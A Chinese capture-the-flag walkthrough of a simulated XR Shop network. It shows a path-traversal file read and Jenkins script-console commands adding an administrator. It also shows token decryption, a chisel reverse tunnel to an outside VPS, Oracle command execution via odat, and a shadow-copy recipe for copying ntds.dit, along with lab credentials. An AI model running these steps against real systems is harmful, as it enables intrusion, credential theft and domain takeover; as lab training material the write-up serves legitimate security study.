当前位置: 首页 > news >正文

[[春秋云境] Privilege仿真场景

文章目录

    • 靶标介绍:
    • 知识点
      • 卷影拷贝(VSS)
    • 外网
      • 任意文件读取
      • Jenkins管理员后台
      • rdp远程登录
      • Gitlab apiToken
    • 内网
        • 搭建代理
      • Oracle RCE
      • SeRestorePrivilege提权
      • mimikatz
      • spn
      • 卷影拷贝提取SAM
    • 参考文章

靶标介绍:

在这个靶场中,您将扮演一名资深黑客,被雇佣来评估虚构公司 XR Shop 的网络安全。您需要通过渗透测试逐个击破公司暴露在公网的应用,并通过后渗透技巧深入 XR Shop 的内部网络,寻找潜在的弱点和漏洞,并通过滥用 Windows 特权获取管理员权限,最终并获取隐藏在其内部的核心机密。该靶场共有 4 个 Flag,分布于不同的靶机。

考点

  • 信息泄露
  • Jenkins初始管理员密码
  • jenkins后台RCE
  • Gitlab API Token
  • Oracle RCE
  • SeRestorePrivilege提权
  • SPN
  • 卷影拷贝提取SAM

题目给的一些相关信息

第一关

请获取 XR Shop 官网源码的备份文件,并尝试获得系统上任意文件读取的能力。并且,管理员在配置 Jenkins 时,仍然选择了使用初始管理员密码,请尝试读取该密码并获取 Jenkins 服务器权限。Jenkins 配置目录为 C:\ProgramData\Jenkins\.jenkins。

第二关

管理员为 Jenkins 配置了 Gitlab,请尝试获取 Gitlab API Token,并最终获取 Gitlab 中的敏感仓库。获取敏感信息后,尝试连接至 Oracle 数据库,并获取 ORACLE 服务器控制权限。

第三关

攻击办公区内网,获取办公 PC 控制权限,并通过特权滥用提升至 SYSTEM 权限。

第四关

尝试接管备份管理操作员帐户,并通过转储 NTDS 获得域管理员权限,最终控制整个域环境。

知识点

卷影拷贝(VSS)

利用 SeBackupPrivilege特权通过卷影拷贝读取系统受保护文件

  • VSS 是 Windows 提供的功能,用于创建文件系统的快照(snapshot),包括正在使用的文件。

  • SeBackupPrivilege 允许用户创建卷影拷贝并访问快照中的文件,即使这些文件在正常情况下被锁定或受 ACL 限制。

  • 通过 VSS,可以读取 SAM 文件的副本,而无需直接访问原始文件。

一般利用步骤

  1. 创建并上传卷影拷贝脚本

本地创建 raj.dsh,写入以下内容

set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

脚本作用: 生成 C 盘的卷影拷贝并将其挂载为 Z: 盘

set context persistent nowriters

  • 设置卷影拷贝为持久模式(persistent),确保快照不会在脚本结束后自动删除
  • nowriters 避免备份过程中被写入操作干扰(如数据库文件正在被修改)

add volume c: alias raj

  • 指定 C 盘为卷影拷贝的目标,并给快照取别名 raj。

create

  • 执行创建卷影拷贝的操作,生成 C 盘的快照。

expose %raj% z:

  • 将快照挂载为 Z: 盘,允许访问快照中的文件系统。

使用 unix2dos 转换格式

unix2dos raj.dsh

unix2dos 转换脚本的换行符格式,从 Unix 风格(LF)转换为 Windows 风格(CRLF),确保脚本在 Windows 环境中正确执行。

  1. 执行卷影拷贝
diskshadow /s raj.dsh

运行 diskshadow 工具,执行 raj.dsh 脚本,创建 C 盘的卷影拷贝并挂载为 Z: 盘

  1. 复制文件 (比如域控服务器里面的ntds.dit 文件)
RoboCopy /b z:\windows\ntds . ntds.dit

使用 RoboCopy 工具,以备份模式(/b)从卷影拷贝(Z: 盘)的 Z:\Windows\NTDS 目录复制 ntds.dit 文件到当前目录

RoboCopy:Windows 的高级文件复制工具,支持备份模式和 ACL 处理。

/b:备份模式,利用 SeBackupPrivilege 绕过文件 ACL 和锁定,允许复制受保护文件

z:\windows\ntds:源路径

.: 表示当前目录

ntds.dit: 要复制的具体文件

ntds.dit 是 Active Directory 的核心数据库,存储域内所有对象的信息,包括:
用户账户(用户名、SID、NTLM 哈希、Kerberos 密钥等)。
计算机账户。
组和权限信息。

外网

任意文件读取

fscan扫描一下

发现80端口wordpress的站点有源码泄露, 下载下来审计一下, 可以发现存在一个任意文件读取漏洞, 没有任何过滤

在这里插入图片描述

在这里插入图片描述

尝试读取flag (可以后面rdp登录后直接拿)

/tools/content-log.php?logfile=../../../../../../../../../Users\Administrator\flag\flag01.txt

在这里插入图片描述

根据第一关的提示, 读取Jenkins的密码, 告诉了Jenkins 配置目录为 C:\ProgramData\Jenkins\.jenkins

在 Jenkins 的默认配置中,初始管理员密码存储在 Jenkins 配置目录下的 secrets 子目录中的 initialAdminPassword 文件中

所以需要读取文件 C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword

/tools/content-log.php?logfile=../../../../../../../../../ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword

拿到密码: 510235cf43f14e83b88a9f144199655b

在这里插入图片描述

Jenkins管理员后台

拿到了密码就可以登录其8080端口了(fscan可以扫出来)

admin / 510235cf43f14e83b88a9f144199655b

在这里插入图片描述

jenkins在manage/script 路径下提供了一个脚本控制台,允许管理员在 Jenkins 实例上执行脚本代码, 常用的语言是 Groovy, 也能执行shell命令

http://39.99.129.242:8080/manage/script

权限很高

在这里插入图片描述

添加一个管理员用户, 方便rdp登录上去

println("net user xpw 123qwe! /add".execute().text)
println("net localgroup administrators xpw /add".execute().text)

rdp远程登录

在这里插入图片描述

传个fscan上去扫描一下内网 (用windows远程桌面连接默认共享c盘文件, 直接把工具放在这上面就行)

[2025-05-14 01:22:11] [SUCCESS] 目标 172.22.14.7     存活 (ICMP)
[2025-05-14 01:22:11] [SUCCESS] 目标 172.22.14.11    存活 (ICMP)
[2025-05-14 01:22:11] [SUCCESS] 目标 172.22.14.16    存活 (ICMP)
[2025-05-14 01:22:11] [SUCCESS] 目标 172.22.14.31    存活 (ICMP)
[2025-05-14 01:22:11] [SUCCESS] 目标 172.22.14.46    存活 (ICMP)
[2025-05-14 01:23:21] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.14.7
主机名: XR-JENKINS
发现的网络接口:IPv4地址:└─ 172.22.14.7
[2025-05-14 01:23:21] [SUCCESS] 网站标题 http://172.22.14.7        状态码:200 长度:54603  标题:XR SHOP
[2025-05-14 01:23:21] [SUCCESS] 网站标题 http://172.22.14.46       状态码:200 长度:703    标题:IIS Windows Server
[2025-05-14 01:23:21] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.14.31
主机名: XR-ORACLE
发现的网络接口:IPv4地址:└─ 172.22.14.31
[2025-05-14 01:23:21] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.14.11
主机名: XR-DC
发现的网络接口:IPv4地址:└─ 172.22.14.11
[2025-05-14 01:23:21] [SUCCESS] 网站标题 http://172.22.14.7:8080   状态码:403 长度:548    标题:无标题
[2025-05-14 01:23:21] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.14.46
主机名: XR-0923
发现的网络接口:IPv4地址:└─ 172.22.14.46
[2025-05-14 01:23:21] [SUCCESS] NetBios 172.22.14.46    XIAORANG\XR-0923
[2025-05-14 01:23:21] [SUCCESS] NetBios 172.22.14.31    WORKGROUP\XR-ORACLE
[2025-05-14 01:23:21] [SUCCESS] NetBios 172.22.14.11    DC:XIAORANG\XR-DC
[2025-05-14 01:23:21] [SUCCESS] 网站标题 http://172.22.14.16       状态码:302 长度:99     标题:无标题 重定向地址: http://172.22.14.16/users/sign_in
[2025-05-14 01:23:22] [SUCCESS] 网站标题 http://172.22.14.16:8060  状态码:404 长度:555    标题:404 Not Found
[2025-05-14 01:23:27] [SUCCESS] 检测到漏洞 http://172.22.14.7:80/www.zip poc-yaml-backup-file 参数:[{path www} {ext zip}]
172.22.14.7 	本机,已最高权限
172.22.14.46 	XIAORANG\XR-0923
172.22.14.11	DC:XIAORANG\XR-DC
172.22.14.31 	WORKGROUP\XR-ORACLE
172.22.14.16 	GitLab

Gitlab apiToken

根据题目里面的描述

管理员为 Jenkins 配置了 Gitlab,请尝试获取 Gitlab API Token,并最终获取 Gitlab 中的敏感仓库。获取敏感信息后,尝试连接至 Oracle 数据库,并获取 ORACLE 服务器控制权限。

寻找api token,翻看一下它配置目录下的一些文件去找

C:/ProgramData/Jenkins/.jenkins/credentials.xml
<?xml version='1.1' encoding='UTF-8'?>
<com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin="credentials@1214.v1de940103927"><domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash"><entry><com.cloudbees.plugins.credentials.domains.Domain><specifications/></com.cloudbees.plugins.credentials.domains.Domain><java.util.concurrent.CopyOnWriteArrayList><com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl plugin="gitlab-plugin@1.6.0"><scope>GLOBAL</scope><id>9eca4a05-e058-4810-b952-bd6443e6d9a8</id><description></description><apiToken>{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}</apiToken></com.dabsquared.gitlabjenkins.connection.GitLabApiTokenImpl></java.util.concurrent.CopyOnWriteArrayList></entry></domainCredentialsMap>
</com.cloudbees.plugins.credentials.SystemCredentialsProvider>

这个文件里面可以找到apiToken

AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh

回jenkins脚本控制台那里解密一下, 参考如何从credentials.xml中解密Jenkins密码 - bestsrc

println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())

得到明文

glpat-7kD_qLH2PiQv_ywB9hz2

接下来可以利用这个token访问gitlab的一些信息

内网

搭建代理

先利用chisel搭建代理

服务端(vps)

./chisel server -p 8888 --reverse

客户端(受控主机)

chisel.exe client 8.154.17.163:8888 R:0.0.0.0:9383:socks

在这里插入图片描述

Oracle RCE

用API列出有权限访问的项目

proxychains4 curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects"
[{"id": 6,"description": null,"name": "Internal Secret","name_with_namespace": "XRLAB / Internal Secret","path": "internal-secret","path_with_namespace": "xrlab/internal-secret","created_at": "2022-12-25T08:30:12.362Z","default_branch": "main","tag_list": [],"topics": [],"ssh_url_to_repo": "git@gitlab.xiaorang.lab:xrlab/internal-secret.git","http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/internal-secret.git","web_url": "http://gitlab.xiaorang.lab/xrlab/internal-secret","readme_url": null,"avatar_url": null,"forks_count": 0,"star_count": 0,"last_activity_at": "2022-12-25T08:30:12.362Z","namespace": {"id": 8,"name": "XRLAB","path": "xrlab","kind": "group","full_path": "xrlab","parent_id": null,"avatar_url": null,"web_url": "http://gitlab.xiaorang.lab/groups/xrlab"},"_links": {"self": "http://gitlab.xiaorang.lab/api/v4/projects/6","issues": "http://gitlab.xiaorang.lab/api/v4/projects/6/issues","merge_requests": "http://gitlab.xiaorang.lab/api/v4/projects/6/merge_requests","repo_branches": "http://gitlab.xiaorang.lab/api/v4/projects/6/repository/branches","labels": "http://gitlab.xiaorang.lab/api/v4/projects/6/labels","events": "http://gitlab.xiaorang.lab/api/v4/projects/6/events","members": "http://gitlab.xiaorang.lab/api/v4/projects/6/members","cluster_agents": "http://gitlab.xiaorang.lab/api/v4/projects/6/cluster_agents"},"packages_enabled": true,"empty_repo": false,"archived": false,"visibility": "private","resolve_outdated_diff_discussions": false,"container_expiration_policy": {"cadence": "1d","enabled": false,"keep_n": 10,"older_than": "90d","name_regex": ".*","name_regex_keep": null,"next_run_at": "2022-12-26T08:30:12.373Z"},"issues_enabled": true,"merge_requests_enabled": true,"wiki_enabled": true,"jobs_enabled": true,"snippets_enabled": true,"container_registry_enabled": true,"service_desk_enabled": false,"service_desk_address": null,"can_create_merge_request_in": true,"issues_access_level": "enabled","repository_access_level": "enabled","merge_requests_access_level": "enabled","forking_access_level": "enabled","wiki_access_level": "enabled","builds_access_level": "enabled","snippets_access_level": "enabled","pages_access_level": "private","operations_access_level": "enabled","analytics_access_level": "enabled","container_registry_access_level": "enabled","security_and_compliance_access_level": "private","releases_access_level": "enabled","environments_access_level": "enabled","feature_flags_access_level": "enabled","infrastructure_access_level": "enabled","monitor_access_level": "enabled","emails_disabled": null,"shared_runners_enabled": true,"lfs_enabled": true,"creator_id": 2,"import_url": null,"import_type": null,"import_status": "none","open_issues_count": 0,"ci_default_git_depth": 20,"ci_forward_deployment_enabled": true,"ci_job_token_scope_enabled": false,"ci_separated_caches": true,"ci_opt_in_jwt": false,"ci_allow_fork_pipelines_to_run_in_parent_project": true,"public_jobs": true,"build_timeout": 3600,"auto_cancel_pending_pipelines": "enabled","ci_config_path": null,"shared_with_groups": [],"only_allow_merge_if_pipeline_succeeds": false,"allow_merge_on_skipped_pipeline": null,"restrict_user_defined_variables": false,"request_access_enabled": true,"only_allow_merge_if_all_discussions_are_resolved": false,"remove_source_branch_after_merge": true,"printing_merge_request_link_enabled": true,"merge_method": "merge","squash_option": "default_off","enforce_auth_checks_on_uploads": true,"suggestion_commit_message": null,"merge_commit_template": null,"squash_commit_template": null,"issue_branch_template": null,"auto_devops_enabled": true,"auto_devops_deploy_strategy": "continuous","autoclose_referenced_issues": true,"keep_latest_artifact": true,"runner_token_expiration_interval": null,"permissions": {"project_access": null,"group_access": {"access_level": 50,"notification_level": 3}}},{"id": 4,"description": null,"name": "XRAdmin","name_with_namespace": "XRLAB / XRAdmin","path": "xradmin","path_with_namespace": "xrlab/xradmin","created_at": "2022-12-25T07:48:16.751Z","default_branch": "main","tag_list": [],"topics": [],"ssh_url_to_repo": "git@gitlab.xiaorang.lab:xrlab/xradmin.git","http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/xradmin.git","web_url": "http://gitlab.xiaorang.lab/xrlab/xradmin","readme_url": "http://gitlab.xiaorang.lab/xrlab/xradmin/-/blob/main/README.md","avatar_url": null,"forks_count": 0,"star_count": 0,"last_activity_at": "2023-05-30T10:27:31.762Z","namespace": {"id": 8,"name": "XRLAB","path": "xrlab","kind": "group","full_path": "xrlab","parent_id": null,"avatar_url": null,"web_url": "http://gitlab.xiaorang.lab/groups/xrlab"},"_links": {"self": "http://gitlab.xiaorang.lab/api/v4/projects/4","issues": "http://gitlab.xiaorang.lab/api/v4/projects/4/issues","merge_requests": "http://gitlab.xiaorang.lab/api/v4/projects/4/merge_requests","repo_branches": "http://gitlab.xiaorang.lab/api/v4/projects/4/repository/branches","labels": "http://gitlab.xiaorang.lab/api/v4/projects/4/labels","events": "http://gitlab.xiaorang.lab/api/v4/projects/4/events","members": "http://gitlab.xiaorang.lab/api/v4/projects/4/members","cluster_agents": "http://gitlab.xiaorang.lab/api/v4/projects/4/cluster_agents"},"packages_enabled": true,"empty_repo": false,"archived": false,"visibility": "private","resolve_outdated_diff_discussions": false,"container_expiration_policy": {"cadence": "1d","enabled": false,"keep_n": 10,"older_than": "90d","name_regex": ".*","name_regex_keep": null,"next_run_at": "2022-12-26T07:48:16.788Z"},"issues_enabled": true,"merge_requests_enabled": true,"wiki_enabled": true,"jobs_enabled": true,"snippets_enabled": true,"container_registry_enabled": true,"service_desk_enabled": false,"service_desk_address": null,"can_create_merge_request_in": true,"issues_access_level": "enabled","repository_access_level": "enabled","merge_requests_access_level": "enabled","forking_access_level": "enabled","wiki_access_level": "enabled","builds_access_level": "enabled","snippets_access_level": "enabled","pages_access_level": "private","operations_access_level": "enabled","analytics_access_level": "enabled","container_registry_access_level": "enabled","security_and_compliance_access_level": "private","releases_access_level": "enabled","environments_access_level": "enabled","feature_flags_access_level": "enabled","infrastructure_access_level": "enabled","monitor_access_level": "enabled","emails_disabled": null,"shared_runners_enabled": true,"lfs_enabled": true,"creator_id": 2,"import_url": null,"import_type": null,"import_status": "none","open_issues_count": 0,"ci_default_git_depth": 20,"ci_forward_deployment_enabled": true,"ci_job_token_scope_enabled": false,"ci_separated_caches": true,"ci_opt_in_jwt": false,"ci_allow_fork_pipelines_to_run_in_parent_project": true,"public_jobs": true,"build_timeout": 3600,"auto_cancel_pending_pipelines": "enabled","ci_config_path": null,"shared_with_groups": [],"only_allow_merge_if_pipeline_succeeds": false,"allow_merge_on_skipped_pipeline": null,"restrict_user_defined_variables": false,"request_access_enabled": true,"only_allow_merge_if_all_discussions_are_resolved": false,"remove_source_branch_after_merge": true,"printing_merge_request_link_enabled": true,"merge_method": "merge","squash_option": "default_off","enforce_auth_checks_on_uploads": true,"suggestion_commit_message": null,"merge_commit_template": null,"squash_commit_template": null,"issue_branch_template": null,"auto_devops_enabled": false,"auto_devops_deploy_strategy": "continuous","autoclose_referenced_issues": true,"keep_latest_artifact": true,"runner_token_expiration_interval": null,"permissions": {"project_access": null,"group_access": {"access_level": 50,"notification_level": 3}}},{"id": 3,"description": null,"name": "Awenode","name_with_namespace": "XRLAB / Awenode","path": "awenode","path_with_namespace": "xrlab/awenode","created_at": "2022-12-25T07:46:43.635Z","default_branch": "master","tag_list": [],"topics": [],"ssh_url_to_repo": "git@gitlab.xiaorang.lab:xrlab/awenode.git","http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/awenode.git","web_url": "http://gitlab.xiaorang.lab/xrlab/awenode","readme_url": "http://gitlab.xiaorang.lab/xrlab/awenode/-/blob/master/README.md","avatar_url": null,"forks_count": 0,"star_count": 0,"last_activity_at": "2022-12-25T07:46:43.635Z","namespace": {"id": 8,"name": "XRLAB","path": "xrlab","kind": "group","full_path": "xrlab","parent_id": null,"avatar_url": null,"web_url": "http://gitlab.xiaorang.lab/groups/xrlab"},"_links": {"self": "http://gitlab.xiaorang.lab/api/v4/projects/3","issues": "http://gitlab.xiaorang.lab/api/v4/projects/3/issues","merge_requests": "http://gitlab.xiaorang.lab/api/v4/projects/3/merge_requests","repo_branches": "http://gitlab.xiaorang.lab/api/v4/projects/3/repository/branches","labels": "http://gitlab.xiaorang.lab/api/v4/projects/3/labels","events": "http://gitlab.xiaorang.lab/api/v4/projects/3/events","members": "http://gitlab.xiaorang.lab/api/v4/projects/3/members","cluster_agents": "http://gitlab.xiaorang.lab/api/v4/projects/3/cluster_agents"},"packages_enabled": true,"empty_repo": false,"archived": false,"visibility": "private","resolve_outdated_diff_discussions": false,"container_expiration_policy": {"cadence": "1d","enabled": false,"keep_n": 10,"older_than": "90d","name_regex": ".*","name_regex_keep": null,"next_run_at": "2022-12-26T07:46:44.614Z"},"issues_enabled": true,"merge_requests_enabled": true,"wiki_enabled": true,"jobs_enabled": true,"snippets_enabled": true,"container_registry_enabled": true,"service_desk_enabled": false,"service_desk_address": null,"can_create_merge_request_in": true,"issues_access_level": "enabled","repository_access_level": "enabled","merge_requests_access_level": "enabled","forking_access_level": "enabled","wiki_access_level": "enabled","builds_access_level": "enabled","snippets_access_level": "enabled","pages_access_level": "private","operations_access_level": "enabled","analytics_access_level": "enabled","container_registry_access_level": "enabled","security_and_compliance_access_level": "private","releases_access_level": "enabled","environments_access_level": "enabled","feature_flags_access_level": "enabled","infrastructure_access_level": "enabled","monitor_access_level": "enabled","emails_disabled": null,"shared_runners_enabled": true,"lfs_enabled": true,"creator_id": 2,"import_url": null,"import_type": "gitlab_project","import_status": "finished","open_issues_count": 0,"ci_default_git_depth": 20,"ci_forward_deployment_enabled": true,"ci_job_token_scope_enabled": false,"ci_separated_caches": true,"ci_opt_in_jwt": false,"ci_allow_fork_pipelines_to_run_in_parent_project": true,"public_jobs": true,"build_timeout": 3600,"auto_cancel_pending_pipelines": "enabled","ci_config_path": null,"shared_with_groups": [],"only_allow_merge_if_pipeline_succeeds": false,"allow_merge_on_skipped_pipeline": null,"restrict_user_defined_variables": false,"request_access_enabled": true,"only_allow_merge_if_all_discussions_are_resolved": false,"remove_source_branch_after_merge": true,"printing_merge_request_link_enabled": true,"merge_method": "merge","squash_option": "default_off","enforce_auth_checks_on_uploads": true,"suggestion_commit_message": null,"merge_commit_template": null,"squash_commit_template": null,"issue_branch_template": null,"auto_devops_enabled": true,"auto_devops_deploy_strategy": "continuous","autoclose_referenced_issues": true,"keep_latest_artifact": true,"runner_token_expiration_interval": null,"permissions": {"project_access": {"access_level": 40,"notification_level": null},"group_access": {"access_level": 50,"notification_level": 3}}},{"id": 2,"description": "Example GitBook site using GitLab Pages: https://pages.gitlab.io/gitbook","name": "XRWiki","name_with_namespace": "XRLAB / XRWiki","path": "xrwiki","path_with_namespace": "xrlab/xrwiki","created_at": "2022-12-25T07:44:18.589Z","default_branch": "master","tag_list": [],"topics": [],"ssh_url_to_repo": "git@gitlab.xiaorang.lab:xrlab/xrwiki.git","http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/xrwiki.git","web_url": "http://gitlab.xiaorang.lab/xrlab/xrwiki","readme_url": "http://gitlab.xiaorang.lab/xrlab/xrwiki/-/blob/master/README.md","avatar_url": "http://gitlab.xiaorang.lab/uploads/-/system/project/avatar/2/gitbook.png","forks_count": 0,"star_count": 0,"last_activity_at": "2022-12-25T07:44:18.589Z","namespace": {"id": 8,"name": "XRLAB","path": "xrlab","kind": "group","full_path": "xrlab","parent_id": null,"avatar_url": null,"web_url": "http://gitlab.xiaorang.lab/groups/xrlab"},"_links": {"self": "http://gitlab.xiaorang.lab/api/v4/projects/2","issues": "http://gitlab.xiaorang.lab/api/v4/projects/2/issues","merge_requests": "http://gitlab.xiaorang.lab/api/v4/projects/2/merge_requests","repo_branches": "http://gitlab.xiaorang.lab/api/v4/projects/2/repository/branches","labels": "http://gitlab.xiaorang.lab/api/v4/projects/2/labels","events": "http://gitlab.xiaorang.lab/api/v4/projects/2/events","members": "http://gitlab.xiaorang.lab/api/v4/projects/2/members","cluster_agents": "http://gitlab.xiaorang.lab/api/v4/projects/2/cluster_agents"},"packages_enabled": true,"empty_repo": false,"archived": false,"visibility": "private","resolve_outdated_diff_discussions": null,"container_expiration_policy": {"cadence": "1d","enabled": false,"keep_n": 10,"older_than": "90d","name_regex": ".*","name_regex_keep": null,"next_run_at": "2022-12-26T07:44:18.627Z"},"issues_enabled": true,"merge_requests_enabled": true,"wiki_enabled": false,"jobs_enabled": true,"snippets_enabled": false,"container_registry_enabled": false,"service_desk_enabled": false,"service_desk_address": null,"can_create_merge_request_in": true,"issues_access_level": "enabled","repository_access_level": "enabled","merge_requests_access_level": "enabled","forking_access_level": "enabled","wiki_access_level": "disabled","builds_access_level": "enabled","snippets_access_level": "disabled","pages_access_level": "public","operations_access_level": "enabled","analytics_access_level": "enabled","container_registry_access_level": "disabled","security_and_compliance_access_level": "private","releases_access_level": "enabled","environments_access_level": "enabled","feature_flags_access_level": "enabled","infrastructure_access_level": "enabled","monitor_access_level": "enabled","emails_disabled": null,"shared_runners_enabled": true,"lfs_enabled": true,"creator_id": 2,"import_url": null,"import_type": "gitlab_project","import_status": "finished","open_issues_count": 0,"ci_default_git_depth": 20,"ci_forward_deployment_enabled": true,"ci_job_token_scope_enabled": false,"ci_separated_caches": true,"ci_opt_in_jwt": false,"ci_allow_fork_pipelines_to_run_in_parent_project": true,"public_jobs": true,"build_timeout": 3600,"auto_cancel_pending_pipelines": "enabled","ci_config_path": null,"shared_with_groups": [],"only_allow_merge_if_pipeline_succeeds": false,"allow_merge_on_skipped_pipeline": null,"restrict_user_defined_variables": false,"request_access_enabled": false,"only_allow_merge_if_all_discussions_are_resolved": false,"remove_source_branch_after_merge": true,"printing_merge_request_link_enabled": true,"merge_method": "merge","squash_option": "default_off","enforce_auth_checks_on_uploads": true,"suggestion_commit_message": null,"merge_commit_template": null,"squash_commit_template": null,"issue_branch_template": null,"auto_devops_enabled": true,"auto_devops_deploy_strategy": "continuous","autoclose_referenced_issues": true,"keep_latest_artifact": true,"runner_token_expiration_interval": null,"permissions": {"project_access": {"access_level": 40,"notification_level": null},"group_access": {"access_level": 50,"notification_level": 3}}},{"id": 1,"description": "This project is automatically generated and helps monitor this GitLab instance. [Learn more](/help/administration/monitoring/gitlab_self_monitoring_project/index).","name": "Monitoring","name_with_namespace": "GitLab Instance / Monitoring","path": "Monitoring","path_with_namespace": "gitlab-instance-23352f48/Monitoring","created_at": "2022-12-25T07:18:20.914Z","default_branch": "main","tag_list": [],"topics": [],"ssh_url_to_repo": "git@gitlab.xiaorang.lab:gitlab-instance-23352f48/Monitoring.git","http_url_to_repo": "http://gitlab.xiaorang.lab/gitlab-instance-23352f48/Monitoring.git","web_url": "http://gitlab.xiaorang.lab/gitlab-instance-23352f48/Monitoring","readme_url": null,"avatar_url": null,"forks_count": 0,"star_count": 0,"last_activity_at": "2022-12-25T07:18:20.914Z","namespace": {"id": 2,"name": "GitLab Instance","path": "gitlab-instance-23352f48","kind": "group","full_path": "gitlab-instance-23352f48","parent_id": null,"avatar_url": null,"web_url": "http://gitlab.xiaorang.lab/groups/gitlab-instance-23352f48"},"_links": {"self": "http://gitlab.xiaorang.lab/api/v4/projects/1","issues": "http://gitlab.xiaorang.lab/api/v4/projects/1/issues","merge_requests": "http://gitlab.xiaorang.lab/api/v4/projects/1/merge_requests","repo_branches": "http://gitlab.xiaorang.lab/api/v4/projects/1/repository/branches","labels": "http://gitlab.xiaorang.lab/api/v4/projects/1/labels","events": "http://gitlab.xiaorang.lab/api/v4/projects/1/events","members": "http://gitlab.xiaorang.lab/api/v4/projects/1/members","cluster_agents": "http://gitlab.xiaorang.lab/api/v4/projects/1/cluster_agents"},"packages_enabled": true,"empty_repo": true,"archived": false,"visibility": "internal","resolve_outdated_diff_discussions": false,"container_expiration_policy": {"cadence": "1d","enabled": false,"keep_n": 10,"older_than": "90d","name_regex": ".*","name_regex_keep": null,"next_run_at": "2022-12-26T07:18:21.108Z"},"issues_enabled": true,"merge_requests_enabled": true,"wiki_enabled": true,"jobs_enabled": true,"snippets_enabled": true,"container_registry_enabled": true,"service_desk_enabled": false,"can_create_merge_request_in": true,"issues_access_level": "enabled","repository_access_level": "enabled","merge_requests_access_level": "enabled","forking_access_level": "enabled","wiki_access_level": "enabled","builds_access_level": "enabled","snippets_access_level": "enabled","pages_access_level": "private","operations_access_level": "enabled","analytics_access_level": "enabled","container_registry_access_level": "enabled","security_and_compliance_access_level": "private","releases_access_level": "enabled","environments_access_level": "enabled","feature_flags_access_level": "enabled","infrastructure_access_level": "enabled","monitor_access_level": "enabled","emails_disabled": null,"shared_runners_enabled": true,"lfs_enabled": true,"creator_id": 1,"import_status": "none","open_issues_count": 0,"ci_default_git_depth": 20,"ci_forward_deployment_enabled": true,"ci_job_token_scope_enabled": false,"ci_separated_caches": true,"ci_opt_in_jwt": false,"ci_allow_fork_pipelines_to_run_in_parent_project": true,"public_jobs": true,"build_timeout": 3600,"auto_cancel_pending_pipelines": "enabled","ci_config_path": null,"shared_with_groups": [],"only_allow_merge_if_pipeline_succeeds": false,"allow_merge_on_skipped_pipeline": null,"restrict_user_defined_variables": false,"request_access_enabled": true,"only_allow_merge_if_all_discussions_are_resolved": false,"remove_source_branch_after_merge": true,"printing_merge_request_link_enabled": true,"merge_method": "merge","squash_option": "default_off","enforce_auth_checks_on_uploads": true,"suggestion_commit_message": null,"merge_commit_template": null,"squash_commit_template": null,"issue_branch_template": null,"auto_devops_enabled": true,"auto_devops_deploy_strategy": "continuous","autoclose_referenced_issues": true,"keep_latest_artifact": true,"runner_token_expiration_interval": null,"permissions": {"project_access": null,"group_access": null}}
]

把一些项目克隆下来看看

proxychains4 git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.gitproxychains4 git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.gitproxychains4 git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xrwiki.git

xradmin/ruoyi-admin/src/main/resources/application-druid.yml找到Oracle的账号和密码

在这里插入图片描述

可以通过navicat连接数据库查看, 不过可能会出现一些报错, 可以通过这篇文章解决
https://blog.csdn.net/qq_38974638/article/details/115069664

但也可以不需要连接上去, 可以通过odat直接执行命令,xradmin用户具有 SYSDBA 权限

odat是一个专门用于渗透测试 Oracle 数据库的开源工具

添加管理员账户方便远程连接rdp上去

proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user xpw 123qwe! /add'
proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators xpw /add'

dbmsschedulerodat 的一个模块,利用 Oracle 的 DBMS_SCHEDULER 包,这个包允许创建调度任务,这些任务可以在数据库服务器上运行 shell 命令(如果权限足够)`

-s: 指定数据库服务器
-p: 指定端口
-d: 指定数据库 SID(系统标识符)或服务名称
--sysdba: 使用 SYSDBA 权限连接到数据库, SYSDBA 是 Oracle 数据库中的高特权角色,授予对数据库的完全管理访问权限,并且通常能够执行作系统命令。
--exec: 执行shell命令

在这里插入图片描述

添加完管理员账号之后直接rdp连接上去

proxychains4 xfreerdp /u:xpw /p:123qwe!  /v:172.22.14.31 /drive:share,/mnt/xpw/kali_shard

可以直接查看flag

在这里插入图片描述

SeRestorePrivilege提权

之前git clone的项目里面还有一个存储了很多账户的文件

internal-secret/credentials.txt

找到一个 XR-0923的账号密码, 前面fscan扫内网可以扫到这个主机

172.22.14.46 	XIAORANG\XR-0923

在这里插入图片描述

用这个用户名rdp上去 (权限不足无法查看flag)

proxychains4 xfreerdp /u:zhangshuai /p:wSbEajHzZs  /v:172.22.14.46 /drive:share,/mnt/xpw/kali_shard

查看一下这个用户的一些信息

whoami /priv #查看用户的特权
net user zhangshuai #查看用户的详细信息

会发现用户在Remote Management Users组内(远程管理用户组)

可以通过WinRM协议进行远程管理,而evil-winrm正是利用WinRM协议的工具
默认情况下,WinRM使用端口5985(HTTP)或5986(HTTPS), 可以看到系统开放了相应的端口, 所以可以使用evil-winrm工具进行连接

在这里插入图片描述
